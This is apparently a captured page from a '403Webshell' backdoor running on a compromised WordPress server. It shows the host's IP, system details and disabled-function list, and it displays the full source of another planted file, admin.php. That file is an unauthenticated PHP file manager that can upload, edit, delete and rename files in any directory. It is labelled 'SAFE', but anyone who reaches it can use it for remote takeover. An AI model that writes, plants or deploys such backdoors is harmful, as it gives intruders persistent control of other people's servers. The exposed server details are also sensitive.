403Webshell
Server IP : 38.190.208.107  /  Your IP : 216.73.217.12
Web Server : nginx/1.28.1
System : Linux ht2026040333114 6.1.0-10-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.37-1 (2023-07-03) x86_64
User : www ( 1000)
PHP Version : 8.2.28
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv,eval,assert,passthru,system,exec,shell_exec,popen,proc_open
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /www/wwwroot/default/wp-content/uploads/wp.10/uploads/2025/08/css/dist/2025/v3/zfvr/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/wwwroot/default/wp-content/uploads/wp.10/uploads/2025/08/css/dist/2025/v3/zfvr/admin.php
<?php
/* =====================================================
   SAFE PHP FILE MANAGER
   - Anti 0 KB write
   - Safe edit / upload / delete / rename
   - No directory delete
   - No path traversal
===================================================== */

error_reporting(E_ALL);
ini_set('display_errors', 1);

/* ================= PATH ================= */
$cwd = getcwd();
if (isset($_GET['p'])) {
    $real = realpath($_GET['p']);
    if ($real !== false && is_dir($real)) {
        $cwd = $real;
    }
}

/* ================= BREADCRUMB ================= */
function nav(string $dir): string {
    $parts = explode(DIRECTORY_SEPARATOR, $dir);
    $path = '';
    $out  = [];

    foreach ($parts as $p) {
        if ($p === '') continue;
        $path .= DIRECTORY_SEPARATOR . $p;
        $out[] = '<a href="?p=' . urlencode($path) . '">' . htmlspecialchars($p) . '</a>';
    }
    return implode(' / ', $out);
}

$msg = '';

/* ================= SAVE FILE (ANTI 0 KB) ================= */
if (isset($_POST['save'], $_POST['file'], $_POST['content'])) {

    $file   = basename($_POST['file']);
    $target = $cwd . DIRECTORY_SEPARATOR . $file;

    if (is_file($target) && is_writable($target)) {

        $tmp = $target . '.tmp_' . uniqid('', true);
        $bytes = file_put_contents($tmp, $_POST['content'], LOCK_EX);

        if ($bytes !== false && filesize($tmp) > 0) {
            rename($tmp, $target);
            $msg = 'File saved successfully.';
        } else {
            @unlink($tmp);
            $msg = 'Write failed. File NOT modified.';
        }
    } else {
        $msg = 'File not writable.';
    }
}

/* ================= UPLOAD ================= */
if (!empty($_FILES['upload']['name'])) {

    if ($_FILES['upload']['error'] === UPLOAD_ERR_OK) {

        $name = basename($_FILES['upload']['name']);
        $dest = $cwd . DIRECTORY_SEPARATOR . $name;

        if (!file_exists($dest) && move_uploaded_file($_FILES['upload']['tmp_name'], $dest)) {
            $msg = 'Upload successful.';
        } else {
            $msg = 'Upload failed or file exists.';
        }
    } else {
        $msg = 'Upload error.';
    }
}

/* ================= DELETE FILE ================= */
if (isset($_POST['delete'], $_POST['file'])) {

    $file   = basename($_POST['file']);
    $target = $cwd . DIRECTORY_SEPARATOR . $file;

    if (is_file($target) && is_writable($target)) {
        unlink($target);
        $msg = 'File deleted successfully.';
    } else {
        $msg = 'File not deletable.';
    }
}

/* ================= RENAME FILE ================= */
if (isset($_POST['rename'], $_POST['old'], $_POST['new'])) {

    $old = basename($_POST['old']);
    $new = basename($_POST['new']);

    $oldPath = $cwd . DIRECTORY_SEPARATOR . $old;
    $newPath = $cwd . DIRECTORY_SEPARATOR . $new;

    if ($new === '') {
        $msg = 'New filename cannot be empty.';
    } elseif (!is_file($oldPath)) {
        $msg = 'Source file not found.';
    } elseif (file_exists($newPath)) {
        $msg = 'Target filename already exists.';
    } elseif (rename($oldPath, $newPath)) {
        $msg = 'File renamed successfully.';
    } else {
        $msg = 'Rename failed.';
    }
}
?>
<!doctype html>
<html>
<head>
<meta charset="utf-8">
<title>ꦫꦣꦺꦤ꧀ꦄꦤ꧀ꦠꦱꦺꦤ</title>
<style>
body { background:#111;color:#eee;font-family:Arial;font-size:14px }
a { color:#6cf;text-decoration:none }
textarea,input { background:#222;color:#eee;border:1px solid #444 }
ul { list-style:none;padding-left:0 }
li { margin:6px 0 }
.msg { color:#9f9;margin:10px 0 }
.small { font-size:12px;color:#aaa }
</style>
</head>
<body>

<h3>PATH: <?= nav($cwd); ?></h3>

<?php if ($msg): ?>
<div class="msg"><?= htmlspecialchars($msg); ?></div>
<?php endif; ?>

<form method="post" enctype="multipart/form-data">
<input type="file" name="upload">
<input type="submit" value="Upload">
</form>

<hr>

<?php
/* ================= EDIT MODE ================= */
if (isset($_GET['e'])) {

    $file = basename($_GET['e']);
    $path = $cwd . DIRECTORY_SEPARATOR . $file;

    if (is_file($path) && is_readable($path)) {

        $content = htmlspecialchars(file_get_contents($path));
        ?>
        <form method="post">
            <textarea name="content" rows="20" cols="100"><?= $content ?></textarea><br>
            <input type="hidden" name="file" value="<?= htmlspecialchars($file) ?>">
            <input type="submit" name="save" value="Save">
        </form>
        <hr>
        <?php
    }
}

/* ================= FILE LIST ================= */
$h = opendir($cwd);
echo '<ul>';

while (($i = readdir($h)) !== false) {

    if ($i === '.') continue;
    $p = $cwd . DIRECTORY_SEPARATOR . $i;

    if (is_dir($p)) {

        echo '<li>[+] <a href="?p=' . urlencode($p) . '">' . htmlspecialchars($i) . '</a></li>';

    } else {

        echo '<li>[-] ' . htmlspecialchars($i) . '
        <a href="?e=' . urlencode($i) . '&p=' . urlencode($cwd) . '">[edit]</a>

        <form method="post" style="display:inline">
            <input type="hidden" name="old" value="' . htmlspecialchars($i) . '">
            <input type="text" name="new" placeholder="new name" size="12">
            <input type="submit" name="rename" value="rename">
        </form>

        <form method="post" style="display:inline"
            onsubmit="return confirm(\'Delete file ' . htmlspecialchars($i) . '?\')">
            <input type="hidden" name="file" value="' . htmlspecialchars($i) . '">
            <input type="submit" name="delete" value="delete">
        </form>
        </li>';
    }
}

closedir($h);
echo '</ul>';
?>

</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit